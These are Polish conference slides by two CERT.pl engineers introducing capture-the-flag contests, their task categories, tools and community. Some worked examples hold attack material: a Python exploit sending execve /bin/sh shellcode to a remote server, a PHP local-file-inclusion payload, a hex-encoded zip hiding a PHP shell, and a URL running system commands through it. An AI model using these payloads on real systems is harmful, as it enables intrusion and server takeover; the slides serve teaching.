\[ \definecolor{data}{RGB}{18,110,213} \definecolor{unknown}{RGB}{217,86,16} \definecolor{learned}{RGB}{175,114,176} \]

Jak zdobyć flagę?

Jarosław Jedynak
Mateusz Szymaniec

Jak zdobyć cyberflagę?

I wymarzoną cyberpracę

$ whois Rev

Mateusz Szymaniec

  • Software/Security Engineer @ CERT.pl
  • P4 CTF
  • Robi Web/RE/Trudne PWN (łatwych nie potrafi)
  • Skończył w CERT Polska
  • Zbiera srebrniki, od czasu do czasu jeździ na konferencje
  • Poza pracą, przemyca kawę sypaną do Szwajcarii
  • @RevToJa

$ whois Msm

Jarosław Jedynak

  • Software/Security Engineer @ CERT.pl
  • P4 CTF
  • Robi RE/Crypto/PPC
  • Dostał ciepłą fuchę, kartę multisport i licencję na IDA
  • Jego ambicja to robienie analiz durnych botów i malware przez kolejnych 20 lat
  • Poza pracą, przelicza opłacalność piwa na złotówkopromile
  • @MsmCode

$ chown :p4

Bezczelna autopromocja

Agenda

  • O co w ogóle w CTFach chodzi?
  • Omówienie kategorii zadań w CTFach
  • Przegląd sceny CTFowej
  • Jak zacząć?
  • Q & A

Agenda - kategorie zadań

  • RE - Reverse Engineering
  • Web - Bezpieczeństwo aplikacji webowych
  • Crypto - Kryptografia
  • Pwn - Eksploitacja aplikacji
  • Forensics - Informatyka śledcza
  • Stegano - Graficzna / formatów plików
  • Misc - Worek na wszystko inne
  • PPC - Zadania rodem z OI

WTF is CTF?

WTF is CTF?

Cytując ctftime.org:

TL;DR: Konkurs dla "entuzjastów bezpieczeństwa komputerowego"

Typy CTFów

  • jeopardy
    • hinduskie jeopardy
  • attack defence
  • inne

Kategoria: Reverse Engineering

cmp flag, 0x1337

Schemat

int main() {
    char *input = read_input();
    if (verify(input)) {
        puts("good");
        puts(decrypt(input, flag));
    } else {
        puts("bad");
    }
}

Ogólny schemat - pobierane są jakieś dane, później na nich są robione operacje, i jeśli wprowadzone dane są dobre, dostajemy flagę.

Proste zadanie

Przykład (bardzo) prostego zadania na CTF

╭─msm@europa /home/msm/tmp
╰─$ ./challenge 
Password: test
fail

╭─msm@europa /home/msm/tmp
╰─$ ./challenge
Password: niebieski7
fail

Cel: znalezienie poprawnego hasła.

IDA Pro

Hasło jest pobierane za pomocą scanf i porównywane z flagą.

IDA Pro

Hexrays Decompiler pozwala na RE nawet jeśli ktoś kompletnie nie zna asemblera.

Bardzo upraszcza analizę (w pracy i na CTF).

Proste zadanie

╭─msm@europa /home/msm/tmp  <master*>
╰─$ ./challenge 
Password: flag{secretpassword}
good

W prawdziwych CTFach jest o wiele trudniej, ale schemat jest zazwyczaj podobny.

Przede wszystkim, flaga nigdy nie jest zapisana czystym tekstem w programie (to by było za proste).

Schemat, inaczej

Podstawowy schemat przerabiany na tysiące różnych sposobów:

  • keygeny,
  • ransomware
  • anty-debugging/anty-disasm
  • egzotyczne architektury

Kategoria: PWN

execve("/bin/pwn")

Schemat

Najczęściej dostajemy x86/x64 ELF (rzadziej PE na Windowsa).

  • znalezienie write/read primitives
  • użycie ich do wykonania kodu
  • napisanie eksploita
  • uruchomienie go na serwerze organizatora gry

Przykładowe klasy błędów do wykorzystania

  • buffer/stack/heap overflow
  • use after free / double free
  • integer under/overflow

Na przeszkodzie

  • stack cookies
  • DEP
  • ASLR
  • selinux, grsecurity

Techniki

  • sztuka shellcodingu
  • return oriented programming (ret to libc)
  • nopsledy
  • partial-overwrite
  • pivoting
  • podmiana w got plt

Przykładowe zadanie

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buffer[128]; // [sp+18h] [bp-88h]@1
  double canary; // [sp+98h] [bp-8h]@1

  canary = 64.33333;
  setvbuf(stdout, 0, 2, 0);
  printf("Buff: %p\n", buffer);
  __isoc99_scanf("%s", buffer);
  if ( 64.33333 != canary )
  {
    puts("Nope");
    exit(1);
  }
  return printf(str, buffer);
}

Klasyczny buffer/stack overflow ze stack guardem

import socket

s = socket.socket()
s.connect(('54.173.98.115', 1259))

buf_addr = s.recv(17)[8:16]

s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'
       .decode('hex').ljust(128, 'a')) # shellcode: execve /bin/sh
s.send('a5315a4755155040'.decode('hex')) # stack guard
s.send('aaaaaaaaaaaa') # padding
s.send(buf_addr.decode('hex')[::-1]) # ret: buffer address
s.send('\n')
print (s.recv(9999))
s.send('cat flag\n')
print (s.recv(9999))
s.close()

Narzędzia do RE/PWN

  • IDA Pro
  • GDB
  • Binary Ninja
  • Radare2
  • x64dbg
  • Dużo więcej...
  • Pwntools

IDA Pro

Nasze ulubione narzędzie.

Gdb

Działa na wszystkim, wszędzie i od zawsze.

Binary Ninja

Nowe narzędzie (od @vector35), silnie ostatnio promowane.

Radare2

Kolejne nowe narzędzie, w pełni konsolowe (<3 cmd).

Vim wśród debuggerów.

x64dbg

I jeszcze jedno nowe narzędzie. Nie wiemy czy lubimy, bo jeszcze nigdy nie używaliśmy.

pwntools

I więcej...

  • OllyDbg
  • Immunity Debugger
  • WinDbg
  • SoftICE
  • KD, CDB, NTSD

Kategoria: Web

Web' OR 1=1 --

Kategoria: Web

Aplikacje w:

  • PHP
  • Python
  • Ruby
  • JavaScript (node.js)

Przykładowe zadanie

Strona umożliwiająca uploadowanie i tworzenie/edytowanie ikonek w .png.

Nawigacja: index.php?op=home

A co jeżeli tam jest include($_GET['op'] . '.php')?

Krok 1. Pobranie kodów źródłowych przez wrapper php.

?op=php://filter/read=convert.base64-encode/resource=index

Przykładowe zadanie

Krok 2. Analiza aplikacji

  • każda uploadowana grafika będzie miała rozszerzenie .png
  • można uploadować tylko poprawne grafiki
  • stripowane są metadanych (odpada przemycenie czegoś w exif)
  • możemy natomiast kontrolować paletę oraz piksele obrazu w edytorze online

Ale to wciąż będzie tylko obrazek.

Przykładowe zadanie

PHP ma również filtr od czytania zipów.

Zatem spróbujmy stworzyć png, który jest jednocześnie zipem w którym jest php-shell. Przez program ala ms paint na stronie internetowej.

What?

504B0304140000000800EE769148F0D042901D000000210000000500
0000732E706870B3B12FC82850508977770D89564F548FD5803293D4
6335ADEDED78B900504B01021400140000000800EE769148F0D04290
1D00000021000000050000000000000001002000000029000000732E
706870504B0506000000000100010033000000690000000000

Przykładowe zadanie

http://pixelshop.pwning.xxx/?a=system&b=ls /&op=zip://uploads/
847cf5ebb78615e61ab646189e3ffbff138801ad.png%23s

Kategoria: Web

Narzędzia:

  • Przeglądarka (inspektor/firebug)
  • Burp (repeater)
  • Fiddler
  • Python (requests)

Raczej bez automatycznych skanerów podatności.

Kategoria: Crypto

pow(long_to_bytes('crypto'), e, n)

Schemat

Misja jest zawsze taka sama - dostajemy zaszyfrowaną flagę, musimy ją odzyskać.

Żeby to było wykonalne, dostajemy też zazwyczaj kilka pomocy spośród:

  • Więcej zaszyfrowanych danych
  • Kod użyty do szyfrowania
  • Serwis który może zaszyfrować więcej danych dla nas

Ale co tu łamać?

  • źle użyte RSA można złamać na 100 różnych sposobów.
  • źle użytego AESa można złamać na 10 różnych sposobów.
  • źle użyte biblioteki kryptograficzne zazwyczaj są łamalne.
  • źle zaimplementowane algorytmy kryptograficzne często są podatne na ataki.

Widać pewien wzorzec.

Ciekawostka: wybrane ataki na RSA

  • Wspólny modulus
  • Coppersmith's Short Pad Attack
  • Hastad Broadcast Attack
  • Partial Key Exposure Attack (Boneh, Durfee, Frankel)
  • Wiener Attack (niskie wartości d)
  • Ataki wynikające z homomorficzności RSA
  • Timing Attacks (Kocher i więcej)
  • Fault Attacks (Boneh, DeMillo, Lipton)
  • Fault Attacks (Brier, Naccache, Nguyen, Tibouchi)
  • Pkcs1 Padding Attacks

Narzędzia:

  • Kartka (czystego) papieru
  • Python

Kategoria: Forensics

forensics ssie

Kategoria: Forensics

Typowa informatyka śledcza

Obrazy dyskow (często uszkodzone)

Network forensics (PCAPy)

Kategoria: Forensics

Narzędzia:

  • wireshark
  • network miner
  • binwalk
  • find / grep

Kategoria: Steganography

stegano ssie

Kategoria: Steganography

Steganografia graficzna / wideo / audio

Typy zadań:

  • złe bo można je zrobić odpalając stegsolve'a (np. LSB)
  • złe bo trzeba zgadywać
  • ujdą, bo trzeba się nauczyć jakiegoś formatu plików (np. typy kompresji graficznej)

Przykładowe zadanie:

Dane ukryte w pliku dźwiękowym.

Widoczne za pomocą spektrogramu.

Kategoria: Steganography

Narzędzia:

  • stegsolve
  • steghide
  • xxd
  • Python (PIL)

Kategoria: Misc

misc czasami ssie czasami nie ssie

Schemat

Zadania Misc są... różne!

  • Recony (sztuka googlowania).
  • Trivia (On Windows, loading a library and having it's code run in another process is called _).
  • Hardware (np. zdjęcie układu elektrycznego).
  • Dziwne i nietypowe języki programowania.
  • Rzeczy nie pasujące do żadnej innej kategorii.
  • Zadania których nie można było wymyślić na trzeźwo.

Przykład - tajwańscy fani regexów.

Polecenie: napisać kilka regexów które będą pasować do wymaganych rzeczy (z mocnym ograniczeniem na długość).

Please match string that contains "select" as a case insensitive subsequence.

Odpowiedź:

(?i)s.*e.*l.*e.*c.*t

Proste?

Przykład - tajwańscy fani regexów, lvl 2

a^nb^n
Yes, we know it is a classical example of context free grammer.

Napisy postaci aabb, aaaabbbb (tyle samo a i b)

Na wykładach teorii języków i automatów uczymy się, że takie wyrażenie regularne nie istnieje.

^(a\g<1>?b)$

Przykład - tajwańscy fani regexów, lvl 3

x^p
A prime is a natural number greater than 1 that has no positive divisors other than 1 and itself.

Napisy o długości będącej liczbą pierwszą.

Odpowiedź:

^(?!(xx+)\1+$)xx+$

Przykład - tajwańscy fani regexów, lvl 4

Palindrome
Both "QQ" and "TAT" are palindromes, but "PPAP" is not.

Napisy będące palindromami.

Odpowiedź:

^((.)\g<1>?\2|.?)$

Przykład - tajwańscy fani regexów, lvl 5

a^nb^nc^n
Is CFG too easy for you? How about some context SENSITIVE grammer?

Napisy postaci abc, aaabbbccc, itp (tyle samo a, b i c).

Odpowiedź:

^(?=(a\g<1>?b)c)a+(b\g<2>?c)$

I tak dalej... lvl 7:

Regex matchujący tylko lata przestępne

(?!^0\d)(^\d*((((^|0|[2468])[048])|[13579][26])00$)|^\d*((0[48]|(^0*|[2468
])[048]|[13579][26]))$)

But wait, there's more, lvl 8

Regex matchujący wielokrotności liczby 42 (O_o)

^(?=^-?(\d*[02468])$)(?=^-?((?!$)(?>(|(?<Y>[147]\g<X>|[0369]\g<Y>|[258]\g
<Z>))(|(?<Z>[258]\g<X>|[147]\g<Y>|[0369]\g<Z>)))(?<X>[0369]\g<X>|[258]\g<
Y>|[147]\g<Z>|$))$)(?=^-?((?!$)(?>(|(?<B>4\g<A>|5\g<B>|6\g<C>|[07]\g<D>|[
18]\g<E>|[29]\g<F>|3\g<G>))(|(?<C>[18]\g<A>|[29]\g<B>|3\g<C>|4\g<D>|5\g<E
>|6\g<F>|[07]\g<G>))(|(?<D>5\g<A>|6\g<B>|[07]\g<C>|[18]\g<D>|[29]\g<E>|3\
g<F>|4\g<G>))(|(?<E>[29]\g<A>|3\g<B>|4\g<C>|5\g<D>|6\g<E>|[07]\g<F>|[18]\
g<G>))(|(?<F>6\g<A>|[07]\g<B>|[18]\g<C>|[29]\g<D>|3\g<E>|4\g<F>|5\g<G>))(
|(?<G>3\g<A>|4\g<B>|5\g<C>|6\g<D>|[07]\g<E>|[18]\g<F>|[29]\g<G>)))(?<A>$|
[07]\g<A>|[18]\g<B>|[29]\g<C>|3\g<D>|4\g<E>|5\g<F>|6\g<G>))$)-?(0|[1-9]\d
*)$

Podsumowanie

Można nauczyć się dziwnych rzeczy, których z własnej woli by sie nie ruszyło.

Kategoria: PPC

PPC jest spoko, bo inne teamy w nim ssą

Kategoria: PPC

Oryginalnie zadania rodem z Olimpiady Informatycznej, np:

tl;dr use matrixes with fastpow to get the desired results in O(logn) time

Ale bywa i alternatywnie, np. pisanie solverów:

  • gier (labirynty, walki botów, etc)
  • dużej ilości captchy (napisaliśmy do tego framework)
  • gier logicznych (sudoku, nonogramy)

Narzędzia

  • Python, C

Przegląd sceny CTFowej

Są dobre ctfy i złe ctfy

Globalny ranking CTFów i zespołów: ctftime.org

Najważniejszy CTF: DEFCON

Najważniejszy polski CTF: Confidence

Typy zespołów

  • firmowe
  • uczelniane
  • znajomi (z internetu bądź nie)

Polskie zespoły

p4ctf

InsomniHack 2016

Jak zacząć?

Kilka pytań na które sami odpowiemy

Czy to legalne?

(zaczynamy od prostych pytań)

Dlaczego warto grać?

Czy muszę coś umieć żeby zacząć?

Czy to coś kosztuje?

Czy można na CTFach zarobić?

Czy zadania na CTFach są praktyczne?

Czy mogę zacząć sam?

Gdzie szukać ludzi do wspólnego grania?

Czy każdy musi znać się na wszystkim?

Od jakich CTFów zacząć?

picoctf

streamy Gynvaela

Gdzie szukać materiałów do nauki?

ctftime.org

github.com/ctfs/

github.com/p4-team/ctf/

Co mogę ze zdobytą wiedzą zrobić?

https://www.cert.pl/praca/ :)


msm msm@4programmers.net @MsmCode
rev rev@4programmers.net @RevToJa